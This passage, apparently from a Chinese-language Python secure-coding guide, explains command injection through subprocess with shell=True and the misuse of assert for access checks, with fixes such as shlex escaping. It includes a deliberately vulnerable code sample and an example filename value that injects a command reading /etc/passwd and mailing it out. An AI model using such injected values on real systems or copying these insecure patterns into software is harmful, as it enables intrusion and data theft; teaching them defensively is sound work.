- 输入注入(Input injection)
注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。
命令注入可能在使用popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。
下面是个简单的脚本,使用用户提供的文件名调用子进程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻击者会将filename 的值设置为“; cat / etc / passwd | mailthem@domain.com 或者其他同样危险的东西。
修复:
如果你使用了Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。
对于shell,可以使用 shlex 模块正确地转义输入。
- assert 语句(Assert statements)
不要使用assert 语句来防止用户访问不应访问的代码段。
def foo(request, user):
assert user.is_admin, “user does not have access”